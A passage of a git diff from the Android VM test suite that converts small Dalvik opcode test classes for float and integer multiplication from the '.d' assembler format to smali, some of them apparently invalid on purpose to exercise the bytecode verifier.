@@ -0,0 +1,18 @@
+.source "T_mul_float_2addr_1.java"
+.class  public Ldot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       mul-float/2addr v6, v7
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_2.d
deleted file mode 100644
index 11fef7b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_float_2addr_2.java
-.class public dot.junit.opcodes.mul_float_2addr.d.T_mul_float_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-
-       mul-float/2addr v6, v8
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_2.smali
new file mode 100644
index 0000000..a1792fe
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_float_2addr_2.java"
+.class  public Ldot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       mul-float/2addr v6, v8
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_3.d
deleted file mode 100644
index 9d83fef..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_float_2addr_3.java
-.class public dot.junit.opcodes.mul_float_2addr.d.T_mul_float_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FD)F
-.limit regs 8
-
-       mul-float/2addr v5, v6
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_3.smali
new file mode 100644
index 0000000..dc466d9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_float_2addr_3.java"
+.class  public Ldot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FD)F
+.registers 8
+
+       mul-float/2addr v5, v6
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_4.d
deleted file mode 100644
index eebb510..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_float_2addr_4.java
-.class public dot.junit.opcodes.mul_float_2addr.d.T_mul_float_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JF)F
-.limit regs 8
-
-       mul-float/2addr v5, v7
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_4.smali
new file mode 100644
index 0000000..3a36fae
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_float_2addr_4.java"
+.class  public Ldot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JF)F
+.registers 8
+
+       mul-float/2addr v5, v7
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_5.d
deleted file mode 100644
index 03a888b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_5.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_mul_float_2addr_5.java
-.class public dot.junit.opcodes.mul_float_2addr.d.T_mul_float_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-
-       mul-float/2addr v5, v7
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_5.smali
new file mode 100644
index 0000000..2cdbe46
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_5.smali
@@ -0,0 +1,18 @@
+.source "T_mul_float_2addr_5.java"
+.class  public Ldot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       mul-float/2addr v5, v7
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_6.d
deleted file mode 100644
index 67cccbd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_6.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_mul_float_2addr_6.java
-.class public dot.junit.opcodes.mul_float_2addr.d.T_mul_float_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FI)F
-.limit regs 8
-
-       mul-float/2addr v6, v7
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_6.smali
new file mode 100644
index 0000000..bc0ee93
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_6.smali
@@ -0,0 +1,18 @@
+.source "T_mul_float_2addr_6.java"
+.class  public Ldot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)F
+.registers 8
+
+       mul-float/2addr v6, v7
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_1.d
deleted file mode 100644
index 3b4a63f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_1.java
-.class public dot.junit.opcodes.mul_int.d.T_mul_int_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 9
-
-       mul-int v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_1.smali
new file mode 100644
index 0000000..1771cb0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_1.java"
+.class  public Ldot/junit/opcodes/mul_int/d/T_mul_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 9
+
+       mul-int v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_2.d
deleted file mode 100644
index ed71fa1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_2.java
-.class public dot.junit.opcodes.mul_int.d.T_mul_int_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       mul-int v0, v7, v8
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_2.smali
new file mode 100644
index 0000000..42bdb5c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_2.java"
+.class  public Ldot/junit/opcodes/mul_int/d/T_mul_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       mul-int v0, v7, v8
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_3.d
deleted file mode 100644
index 059f7b4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_3.java
-.class public dot.junit.opcodes.mul_int.d.T_mul_int_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(ID)I
-.limit regs 9
-
-       mul-int v0, v6, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_3.smali
new file mode 100644
index 0000000..b653287
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_3.java"
+.class  public Ldot/junit/opcodes/mul_int/d/T_mul_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(ID)I
+.registers 9
+
+       mul-int v0, v6, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_4.d
deleted file mode 100644
index 67c0e37..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_4.java
-.class public dot.junit.opcodes.mul_int.d.T_mul_int_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)I
-.limit regs 9
-
-       mul-int v0, v6, v8
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_4.smali
new file mode 100644
index 0000000..2e335ea
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_4.java"
+.class  public Ldot/junit/opcodes/mul_int/d/T_mul_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 9
+
+       mul-int v0, v6, v8
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_5.d
deleted file mode 100644
index 04be572..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_5.java
-.class public dot.junit.opcodes.mul_int.d.T_mul_int_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 9
-
-       mul-int v0, v6, v8
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_5.smali
new file mode 100644
index 0000000..5443957
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_5.java"
+.class  public Ldot/junit/opcodes/mul_int/d/T_mul_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 9
+
+       mul-int v0, v6, v8
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_6.d
deleted file mode 100644
index e181e71..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_6.java
-.class public dot.junit.opcodes.mul_int.d.T_mul_int_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)I
-.limit regs 9
-
-       mul-int v0, v7, v8
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_6.smali
new file mode 100644
index 0000000..9356dbe
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_6.java"
+.class  public Ldot/junit/opcodes/mul_int/d/T_mul_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 9
+
+       mul-int v0, v7, v8
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_1.d
deleted file mode 100644
index 86a6c9a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_2addr_1.java
-.class public dot.junit.opcodes.mul_int_2addr.d.T_mul_int_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       mul-int/2addr v6, v7
-       return v6
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_1.smali
new file mode 100644
index 0000000..71f6ba9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_2addr_1.java"
+.class  public Ldot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       mul-int/2addr v6, v7
+       return v6
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_2.d
deleted file mode 100644
index 744c214..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_2addr_2.java
-.class public dot.junit.opcodes.mul_int_2addr.d.T_mul_int_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       mul-int/2addr v7, v8
-       return v7
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_2.smali
new file mode 100644
index 0000000..fa99897
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
